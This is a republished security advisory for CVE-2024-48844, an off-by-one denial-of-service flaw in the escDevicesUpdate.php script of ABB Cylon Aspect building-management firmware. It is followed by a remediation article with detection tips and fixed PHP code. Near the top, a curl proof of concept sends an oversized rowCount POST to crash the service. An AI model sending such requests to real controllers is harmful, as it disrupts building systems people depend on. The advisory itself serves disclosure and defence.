ABB Cylon Aspect 3.08.02 (escDevicesUpdate.php) - Denial of Service (DOS)

Exploit Author: LiquidWorm Analysis Author: www.bubbleslearn.ir Category: Language: PHP Published Date: 2025-04-15
ABB Cylon Aspect 3.08.02 (escDevicesUpdate.php) Off-by-One Config Write DoS


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: A vulnerability was identified in a PHP script where an off-by-one
error in array access could lead to undefined behavior and potential DoS.
The issue arises in a loop that iterates over an array using a < condition,
allowing access to an out-of-bounds index. This can trigger errors or unexpected
behavior when processing data, potentially crashing the application. Successful
exploitation of this vulnerability can lead to a crash or disruption of service,
especially if the script handles large data sets. This issue can be triggered
via the rowCount POST parameter in the Electronic Security Control device update
script.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
           ErgoTech MIX Deployment Server 2.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5902
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5902.php
CVE ID: CVE-2024-48844
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48844


21.04.2024

--


$ cat project

                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                            
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                               
                                                                                                               

$ curl http://192.168.73.31/escDevicesUpdate.php \
> -H "Cookie: PHPSESSID=xxx" \
> -d "rowCount=2511531337&\
> escid1=192.168.1.1&\
> remove1=0&\
> escid2=192.168.1.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&\
> remove2=0&\
> etc.
> etc.


$ cat escDevicesUpdate.php
...
...
$ini = INI::read($comproperties);

unset($ini['comm']['esc-ip-addr']);

$rowCount = $_POST['rowCount'];

for ($i = 1; $i < $rowCount; $i++) {
    $fieldEscid = "escid" . $i;
    $fieldRemove = "remove" . $i;
    if ($_POST[$fieldRemove] != 1) {
        $escid = trim($_POST[$fieldEscid]);
        $ini['comm']['esc-ip-addr'][$i] = $escid;
    }
}

if (!INI::write($comproperties, $ini)) {
    logWarning("ESC device listt modification FAILED");
    $myLine = __LINE__;
    errorCall($myLine);
}
...


Overview — ABB Cylon Aspect escDevicesUpdate.php Off‑by‑One DoS (CVE‑2024‑48844)

In ABB Cylon Aspect firmware up to 3.08.02, the PHP script escDevicesUpdate.php contains an off‑by‑one programming error that can be abused to trigger undefined behavior and denial of service (DoS). The root cause is improper validation of a user‑controlled numeric parameter (rowCount) used to drive an array index loop. This article explains the vulnerability, its impact, detection signs, and safe remediation and mitigation strategies.

Key facts

  • Vendor: ABB Ltd.
  • Product: Cylon / ASPECT building energy management (NEXUS, MATRIX‑2, ASPECT‑Enterprise/Studio)
  • Affected firmware: versions ≤ 3.08.02
  • CVE: CVE‑2024‑48844
  • Advisory: ZSL‑2025‑5902 (zeroscience.mk)
  • Vulnerability class: Off‑by‑one / improper input validation leading to DoS

Technical analysis — what happens and why

The vulnerable script reads a rowCount value from POST data and then iterates from 1 up to (but not reliably constrained by) that rowCount to set values into an INI data structure. Because rowCount is under attacker control and not validated, the loop can be forced to:

  • iterate far beyond the number of submitted fields, creating many empty/invalid array entries;
  • access nonexistent POST indices (triggering PHP warnings like "Undefined index");
  • <li)consume excessive memory or CPU by creating extremely large arrays or long looping behavior, ultimately causing the PHP process or web server to crash or hang.

In short: untrusted input controls loop bounds and array indexes, producing undefined/unsanitized writes and resource exhaustion — a classical DoS vector.

Why an off‑by‑one / loop bound error matters

  • Numeric loop bounds driven by external input must be validated and/or derived from reliable sources (e.g., count of provided fields).
  • Even if a loop uses an apparently simple condition such as < $rowCount, failing to cap the value or confirm field presence can result in unbounded work.
  • PHP applications exposed to the network are particularly sensitive to memory and POST parsing limits; large or malformed requests can quickly destabilize services.

Indicators of compromise and detection

  • Webserver/PHP errors in logs: repeated "Undefined index" notices for escidN or removeN keys.
  • Elevated resource usage: spikes in memory, CPU, or many worker processes consuming resources shortly after POST requests.
  • Application crashes or service restarts following POST traffic to escDevicesUpdate.php.
  • Unusually large POST requests or POSTs with very large numeric rowCount values in web server access logs.

Safe remediation — code level fixes

Primary goals for remediation are: never trust rowCount, validate and cap numeric inputs, iterate only over actual submitted fields, and validate field values (e.g., IP format) before writing configuration.

Below is a recommended safe rewrite pattern that demonstrates robust input validation and bounded iteration.

<?php
// Strongly type and bound rowCount
$maxRows = 1024; // application specific safe limit
$rowCount = isset($_POST['rowCount']) ? (int) $_POST['rowCount'] : 0;
$rowCount = max(0, min($rowCount, $maxRows));

// Prefer iterating only over keys that actually exist
for ($i = 1; $i <= $rowCount; $i++) {
    $fieldEscid  = 'escid' . $i;
    $fieldRemove = 'remove' . $i;

    // if the remove flag is explicitly set to 1, skip
    if (isset($_POST[$fieldRemove]) && intval($_POST[$fieldRemove]) === 1) {
        continue;
    }

    // only process if the escid field was actually submitted
    if (!isset($_POST[$fieldEscid])) {
        continue;
    }

    $escid = trim((string) $_POST[$fieldEscid]);

    // validate the escid: example expects an IPv4/IPv6 address — adapt as needed
    if ($escid === '' || !filter_var($escid, FILTER_VALIDATE_IP)) {
        // optionally log or record an invalid entry, but avoid crashing
        continue;
    }

    // safely assign into the INI array
    $ini['comm']['esc-ip-addr'][$i] = $escid;
}
?>

Explanation: this revised code casts and bounds the incoming rowCount, uses a reasonable maximum (maxRows) to prevent runaway loops, checks that each expected POST key exists before using it, and validates escid values with filter_var. This approach prevents undefined index notices and limits resource consumption from attacker‑controlled input.

Alternative robust pattern — iterate by posted keys

<?php
// Iterate over submitted escid keys without trusting rowCount
foreach ($_POST as $key => $value) {
    if (strpos($key, 'escid') !== 0) {
        continue;
    }
    $i = intval(substr($key, 5)); // number part
    if ($i < 1 || $i > 1024) {
        continue; // enforce safe bounds
    }
    $removeKey = 'remove' . $i;
    if (isset($_POST[$removeKey]) && intval($_POST[$removeKey]) === 1) {
        continue;
    }
    $escid = trim((string)$value);
    if ($escid === '' || !filter_var($escid, FILTER_VALIDATE_IP)) {
        continue;
    }
    $ini['comm']['esc-ip-addr'][$i] = $escid;
}
?>

Explanation: iterating over actual POST keys avoids reliance on a separate rowCount field. This is typically safer because it only processes data that arrived in the request and still enforces bounds and validation.

System‑level mitigations and hardening

  • Apply vendor patches and firmware updates as soon as available — authoritative fix should come from ABB. Check official release notes for ASPECT firmware > 3.08.02.
  • Restrict access to management interfaces by IP allowlist, VPN, or network segmentation so untrusted networks cannot reach escDevicesUpdate.php.
  • Use a web application firewall (WAF) to block unusually large numeric parameters or oversized POSTs targeting that endpoint.
  • Tune PHP and web server limits: post_max_size, upload_max_filesize, max_input_vars, memory_limit, and max_execution_time to reduce the blast radius of malicious requests.
  • Enable monitoring/alerting for PHP warnings in logs and unexpected resource spikes tied to web server processes.

Remediation priority and impact

Because successful exploitation can cause process crashes or resource exhaustion affecting availability, operators should treat this as a high priority for remediation. The direct impact is denial of service (availability), not necessarily code execution or data leakage, but DoS against building management systems can have high operational impact in industrial or commercial settings.

For defenders: detection recipes

  • Search webserver access logs for POSTs to /escDevicesUpdate.php with an unusually large rowCount parameter.
  • Alert on repeated POST requests producing PHP notices like "Undefined index" for escidN or removeN.
  • Track PHP worker memory use and restart frequency; correlate spikes with network source IPs targeting the endpoint.

References and disclosure

<td>ZSL-2025-5902 <td>CVE-2024-48844 <td>Gjoko 'LiquidWorm' Krstic (@zeroscience)
Advisory
CVE
Discoverer

Takeaway — secure coding lessons

Never trust numeric loop bounds or auxiliary parameters coming from clients. Prefer iterating over concrete submitted keys or reliably derived counts. Always sanitize and cap user input, validate expected formats (IP, numeric ranges), and apply server‑side limits to minimize the risk of a single malformed or malicious request affecting availability.